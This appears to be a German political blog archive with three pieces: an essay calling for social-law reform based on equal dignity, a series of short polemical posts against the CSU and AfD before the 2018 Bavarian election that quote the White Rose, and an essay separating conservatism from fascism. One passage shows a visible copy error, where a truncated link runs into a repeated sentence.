Eine Reform der Sozialgesetzgebung wird gerade von denjenigen nicht gewünscht, die in den Parlamenten sitzen. Aufgrund der Vorteile, die sich eine Beamtenschaft verschafft hat, sind genau jene überrepräsentiert, die von dem System profitieren. Die Idee also, die Sozialgesetzgebung grundlegend zu reformieren, wird keine Chance haben. Dennoch wäre es dringend notwendig, sonst fliegt uns nämlich das Gesamtsystem und die soziale Sicherheit um die Ohren. Der Egoismus jener, die dafür gesorgt haben, dass sich die letzten 120 Jahre nichts geändert hat, sollte aufhören. Sie sollten sich vor Augen führen, dass die französische Revolution letztlich unendliches Leid nicht nur über die Revolutionäre gebracht hat, sondern auch auf diejenigen, die sich in ihrem Adelsstand als Elite in dem Glauben wähnten, dass sich nichts ändern würde. Diese beriefen sich damals auf Gott. Heute predigt man die Leistung – die in Wirklichkeit gar keine ist, sondern nur eine imaginäre Einbildung, die die wirklich etwas tagtäglich leisten, werden in Wahrheit am schlechtesten bezahlt.

Leider scheint es mir als einen einzelnen Menschen unmöglich ein Sozialgesetz zu schreiben, das allen Ansprüchen genügt. Die Kriterien dafür sind allerdings relativ einfach. Wenn alle Menschen frei sind und gleich an Würde und Rechten geboren sind, dann haben sie je nach ihren Bedürfnissen auch die gleichen Ansprüche. Wenn nun der Anspruch Mobilität ist, siehe obiges Beispiel Rollstuhlfahrer und Fußgänger, dann ist um diese Gleichheit herzustellen, dafür Sorge zu tragen, dass jener Mensch, der seiner Mobilität nicht nachkommen kann, weil er Gehbehindert ist, einen Anspruch auf einen kostenlosen Rollstuhl hat. Es spielt dabei nun keine Rolle, ob er diesen Rollstuhl aufgrund eines Unfalls oder Unglücks braucht oder aber von Geburt an, es geht um sein Bedürfnis nach Mobilität.

Wenn alle Menschen frei sind und gleich an Würde und Rechten geboren sind, dann sollte es auch keine Rolle spielen, in welchem Status seine Eltern leben und in welchen Status dieser Mensch hineingeboren ist. Ein reiches Kind hat exakt dieselben Grundbedürfnisse wie ein armes Kind. Wenn die Eltern, aus welchen Gründen auch immer, von der Windel bis zum Schulbedarf nicht die finanziellen Mittel haben, dann hat der Staat die Familie eben zu unterstützen. Im Zweifel ist es sogar billiger die Eltern entsprechend auszustatten als hinterher für die sozialen Folgeschäden aufzukommen. Wenn ein Jugendlicher aufgrund armer Verhältnisse auf die schiefe Bahn gerät, weil er als Kind letztlich unterversorgt wurde, dann kostet das den Staat über 4000 Euro im Monat. Es ist Sparen am falschen Ende des Sozialsystems.

Wenn alle Menschen frei sind und gleich an Würde und Rechten geboren sind, dann sollte es auch kein Problem sein, diese Würde im Alter aufrecht zu erhalten. Letztlich spielt es keine Rolle, ob er die Post als Angestellter oder als Beamter ausgetragen hat. Ein alter Mensch hat das Recht und die Würde verdient, genauso versorgt zu werden. Es spielt noch nicht einmal eine Rolle, ob seine Armut selbst verschuldet oder fremd verschuldet ist. Als Teil der sozialen Gemeinschaft hat er Anspruch, dass seine Grundbedürfnisse erfüllt werden. Wir sind alle Teil eines sozialen Systems und wer welche Leistung erbringt, ist für die Gesamtgemeinschaft unerheblich. Ja wir können es zur Lebzeit eines Menschen noch nicht einmal sagen, wer die tatsächlich größten Leistungen vollbracht hat. Die Millionäre zu Zeiten von Vincent van Gogh haben sich mit Tulpenzwiebeln beschäftigt, die heute keinen Menschen mehr interessieren. Von den heutigen Cum-Cum und Cum-Ex Millionäre wird in hundert Jahren auch kein Mensch mehr was wissen wollen, sie haben keine Leistung vollbracht, sondern einfach nur die Gemeinschaft betrogen. Angesichts dieser Ungerechtigkeiten sollte der Staat wenigstens dafür Sorge tragen, dass alle Mitglieder einen Anspruch auf ihre grundlegenden sozialen Bedürfnisse haben. Die Welt wird niemals gerecht sein, aber sie kann für alle Menschen ein besserer Platz für uns alle sein, wenn wir die Welt so gestalten.

Phlegma

Das Phlegma der deutschen Bevölkerung ist letztlich das Gleiche geblieben. Vielleicht ist dieses Land einfach unfähig Demokratie auf lange Sicht durchzuhalten. Sobald diejenigen verstorben sind, die den Schrecken kannten, wird alles über Bord geworfen.

Man wählt das Falsche aus den falschen Gründen und sagt dann die anderen sind Schuld. Nein die Schuld liegt nicht bei denen da oben, der Wähler ist schon Mitschuld an dem was passiert. Man kann nicht HartzIV falsch finden und dann immer wieder die gleichen wählen.

Es ist nicht so, dass man sich das Feigenblatt ansteckt und sagt, man wäre gegen Überwachung und dann immer wieder diejenigen wählt, die mehr und mehr und mehr Überwachung einführen. Das PAG ist in seiner Gesetzgebung der Schritt in die Tyrannei. Wer CSU wählt, will diese.

Es soll mir keiner erzählen, er will das nicht, wenn diese Parteien, die für solcherlei Tyraneien sind insgesamt 58 Prozent an Wählerstimmen laut Umfragen bekommen. Mindestens jeder zweite Wähler in Bayern will das, da gibt es keine Entschuldigung.

arnold-schiller.de/unterlagen/Sch die Fakten sind nachlesbar, wie die CSU mit der Opposition umspringt. Da gibt es kein Vertun – ihr hättet es wissen können. Ihr wusstet es mindestens, wenn ihr das hier lestnde hinzu und die AfD bekommt damit über 10 Prozent laut Umfragen. Da gibt es doch genügend menschenverachtende Wähler, die sich ihre Stimme für die AfD unschuldig reden wollen.

Die Entrechtungen die Rund um das SGBII geschehen sind, sind in der Zwischenzeit kein Geheimnis mehr. Auch das kann jeder wissen. Wohlfeil „Man sei ja gegen HartzIV“ zu sagen ist ein Feigenblatt, wenn man nicht anders wählt.

Aber das ist Euch ja noch nicht genug. Jetzt kommen „Absaufen, absaufen, absaufen!“ Skandierende hinzu und die AfD bekommt damit über 10 Prozent laut Umfragen. Da gibt es doch genügend menschenverachtende Wähler, die sich ihre Stimme für die AfD unschuldig reden wollen.

Es ist erschreckend wieviel Zitate der weißen Rose auf die heutige Zeit zutreffen. Die man 1:1 nehmen könnte und auf die heutige Zeit übertragen könnte. Nur die Schrecken des Krieges sind noch nicht da. Aber wenn ihr so weiter macht, kommt das auch noch.

Das Truggebilde der autarken Wirtschaft muß in Europa verschwinden. Jedes Volk, jeder einzelne hat ein Recht auf die Güter der Welt!

Freiheit der Rede, Freiheit des Bekenntnisses, Schutz des einzelnen Bürgers vor der Willkür verbrecherischer Gewaltstaaten, das sind die Grundlagen des neuen Europa.

Es ist eine alte Weisheit, die man Kindern immer wieder aufs neue predigt, daß, wer nicht hören will, fühlen muß. Ein kluges Kind wird sich aber die Finger nur einmal am heißen Ofen verbrennen.

„Sodann gehört es zu solchen tyrannischen Maßregeln, die Untertanen arm zu machen, damit die Leibwache besoldet werden kann, und sie, mit der Sorge um ihren täglichen Erwerb beschäftigt, keine Zeit und Muße haben, Verschwörungen anzustiften“ (Aristoteles)

Wenn #vonderLeyen ihrem Sohn bzw. dessen Unternehmen 208 Millionen Euro zuschustert, dann ist das sicherlich eine Schande. Das ist aber kein Grund „Absaufen, absaufen, absaufen!“ Skandierende Hetzer zu wählen.

arnold-schiller.de/keine-stimme-f ist eine von vielen Möglichkeiten. Eine NSdAP-Ideologie auch nur in Erwägung zu ziehen, bei Versagen der politischen Elite definitiv keine. Noch nicht mal aus Protest.

Wer die -Parteien nicht mag: Liste 7 Liste 8 Liste 9 Liste 11 Liste 12 Liste 13 Liste 14 Liste 15 Liste 16 Liste 17 Es gibt die Alternativen

Erzählt mir nur nicht, ihr seid für Eure Stimme nicht verantwortlich und die da oben sind schuld. Ihr wählt die da oben auch bei der am 14.10.2018 – Ihr seid für Überwachung und für HartzIV und diesmal gibt es keine Entschuldigung.

Wenn jeder wartet, bis der andere anfängt, werden die Boten der rächenden Nemesis unaufhaltsam näher und näher rücken, dann wird auch das letzte Opfer sinnlos in den Rachen des unersättlichen Dämons geworfen sein.

Der bessere Teil des Volkes kämpft auf unserer Seite. Zerreißt den Mantel der Gleichgültigkeit, den Ihr um Euer Herz gelegt! Entscheidet Euch, ehe es zu spät ist!

Die Familie ist so alt wie die Menschen selbst, und aus diesem anfänglichen Zusammensein hat sich der vernunftbegabte Mensch einen Staat geschaffen, dessen Grund die Gerechtigkeit und dessen höchstes Gesetz das Wohl Aller sein soll.

Das Wohl Aller nicht das Wohl einiger weniger oder das Wohl einiger Nationalitäten, das Wohl Aller ist die Grundlage eines Staates. Je stärker die Spaltung ist die derzeit erwächst, desto mehr gefährden wir diesen Staat und damit auch das Wohl derjenigen, denen es noch gut geht.

Wie die weiße Rose eben schreibt „Das Truggebilde der autarken Wirtschaft muß in Europa verschwinden. Jedes Volk, jeder einzelne hat ein Recht auf die Güter der Welt!“ es ist derzeit brutaler denn je vorhanden und führt wieder in den Untergang. Welch eine Idiotie!

Selbstverständlich ist Wirtschaft notwendig, aber sie ist nicht der Diktator dessen was wir wollen und die Antwort kann auch nicht eine national sozialistische Ideologie sein. Wieso müssen wir die Idiotie von vor 100 Jahren jetzt wiederholen? Was soll das?

Die Abgründe des Protokolls vom 26.4.2018 lassen tief blicken. Wer sowas macht, hat den Weg zur Diktatur beschritten und ihr gebt diesen Leuten auch noch die Macht dazu.

Sorry, dass da oben ist das Protokoll vom 26.6.2018 die Abgründe vom 26.4.2018 sind allerdings nicht minder. Die CSU hat an diesen beiden Tagen mit Dringlichkeitsanträgen ihre Fratze gezeigt. Eine Tiefe Menschenverachtung einer ganzen Partei hat sich offenbart. Aber 35 Prozent…

Hätte es die Entwicklung von 1929 bis 1933 nicht gegeben, dann könnte man ja vielleicht noch sagen, ihr wüsstet jetzt nicht wohin das führt. Aber ein Blick in die Geschichtsbücher sollte jeden Dummkopf klar machen, wohin so ein Verhalten führt.

Das geht dann schlagartig, was ich jetzt hier noch offen unter meinem Namen schreiben kann, muss dann morgen anonym erfolgen. Was 1928 noch gesagt werden konnte führte 1938 zum Todesurteil. Überlegt, was ihr mit Eurer Stimme macht. Überlegt es euch.

Und hört auf mit Eurem Richterglauben. Auch Freißler war Richter und verurteilte die Scholls zum Tode. Eine Landshuter Richterin hat die Abschiebung einer Schwangeren nach Italien mit Trennung von Lebenspartner und Kind befürwortet. Das ist gegen jede UN-Konvention und Unrecht.

Unrecht wird nicht Recht, weil ein Richter ein Urteil fällt. Die bayerischen Richter sprechen aufgrund des CSU-Buchstaben-Rechts nach Gustav Radbruch Unrecht. An die Buchstaben des Gesetzes halten sie sich, das hat Freißler in gewisser Hinsicht auch getan.

1949 wurde der Versuch gemacht aufgrund des nationalsozialistischen Unrechts eine Verfassung zu schreiben, die ein solches Unrecht wie von der Landshuter Richterin zu verhindern. Dass dies nicht mehr gelingt ist schlimm genug.

Hannah Arendt sagte das Böse ist trivial und es stimmt wohl.Kein SGBII-Sachbearbeiter betrachtet sich als Böse. Er befolgt ja nur die Buchstaben des Gesetzes.Kein SPD-Abgeordneter betrachtet sich als Böse,man hat es ja nur beschlossen.Die entstandene Entwürdigung ist es trotzdem.

Auch wenn ihr nicht zur Wahl geht, seid ihr verantwortlich. In den Stimmlokalbezirken wo nur 20 Prozent zur Wahl gehen genügen den radikalen dann nur 10 Prozent für die 50%-Mehrheit . Und die Radikalen, die gehen auch in solchen Stadtteilen wählen.

Rechts

Ich lese in letzter Zeit immer wieder, dass die Gefahr von Rechts käme. Das ist falsch. Das Rechte als christlich-konservative Werte an sich ist nicht die Gefahr. Die Gefahr besteht darin, hier Verschiedenes zu vermischen. Die Konservativen in die Arme der Faschisten zu treiben und zu übersehen, dass bei aller Aufgeklärtheit auch das Bewahrende eben das Konservative seine Berechtigung hat. Natürlich sind die Faschisten und die Menschenverachter auf der Jagd nach dem konservativen Publikum. Und sie versprechen diesen Menschen alles mögliche um sie auf ihre Seite zu locken. Aber nichts desto trotz wäre der Konservative vom Endergebnis der Faschisten angewidert, das begreift er aber meistens zu spät, wenn er in die Falle getappt ist.

Ein Konservativer wäre kein Konservativer, wenn er nicht an etwas Bewahrendes und Bewährtes glauben würde. Er braucht das auch für seine emotionale Stabilität. Umbrüche und Veränderungen sind für ihn ein Graus. Um so mehr ist er Versprechungen der Faschisten anfällig, wenn diese ihm nur versprechen, dass die alte Welt zurückkommt. Nun verwechseln manche progressiven Kräfte diese Denkungshaltung mit dem Faschismus und sagen, dass die Gefahr von Rechts käme. Die Gefahr kommt hier aber gar nicht von Rechts, sondern von radikalen Kräften, die im Kampf zwischen Fortschritt und Bewahren eine dritte Front aufmacht. Hier ist dann der Faschismus oder auch der Radikalismus manchmal ein und dasselbe. Ob es nun der Stalinismus ist oder Nationalsozialismus, die Ähnlichkeit der radikalen Systeme kommt hier nicht von ungefähr.

Derzeit überwiegen eindeutig faschistische Kräfte, aber diese sind nicht Rechts. Sie sind einfach nur menschenverachtend. Diese Menschenverachtung kommt aber im Kampf um die Wählerstimmen in einem bewahrenden Kleid daher. Die radikalen Linken Kräfte kommen meist in einem verändernden Kleid daher, sind aber in ihrer Veränderung nicht weniger menschenverachtend. Derzeit besteht keinerlei Gefahr, dass die verändernden Kräfte so radikal wären. Aber hier nun unterscheidet sich der Faschismus von radikalen Linken Kräften. Er verspricht die Bewahrung und strebt die Veränderung an. Der Faschismus verspricht die Veränderung zur Bewahrung und bringt letztlich ganz was anderes hervor. Konservative sind wesentlich anfälliger dafür als Progressive, wobei auch frustrierte Progressive dafür anfällig werden können.

Die Gefahr geht also nicht von den Rechten oder den Linken aus, die Gefahr geht von den Fanatikern aus.  Eigentlich wollte ich Radikale schreiben, das trifft es aber nicht. Denn die Radikalen wollen eigentlich nur zur Wurzel. Es sind eher die Fanatiker. Die Begrifflichkeiten sind aber extrem schwierig. Denn sie werden im politischen Kampf immer wieder vermischt. Wenn sich die Republikaner unter Schönhuber so nennen, dann sind sie keine Republikaner. Sie sprechen nur ein gewisses Publikum an und verbrennen damit den Begriff. Genauso ist die Alternative keine Alternative und schon gar nicht für Deutschland. Aber diese Begrifflichkeiten sind für die Faschisten notwendig um die entsprechenden Konservativen auf ihre Seite zu ziehen. Der Betrogene ist der Konservative, der sich damit locken lässt.

Der Konservative will eigentlich seine alte Sicherheit gegenüber Veränderung zurück. Er bekommt dafür ein menschenverachtendes System. Das hat er dann eigentlich nicht gewollt. Deswegen erachte ich es als notwendig, dem Konservativen zu verdeutlichen, dass bei aller Veränderung, die die Entropie nunmal bedingt, ihm seine Sicherheit nicht genommen wird. Dass das Rechte an sich nichts schlechtes ist. Ich halte von dem Rechtenbashing nichts, denn das führt nur dazu, dass man den Konservativen in die Arme des Faschisten treibt.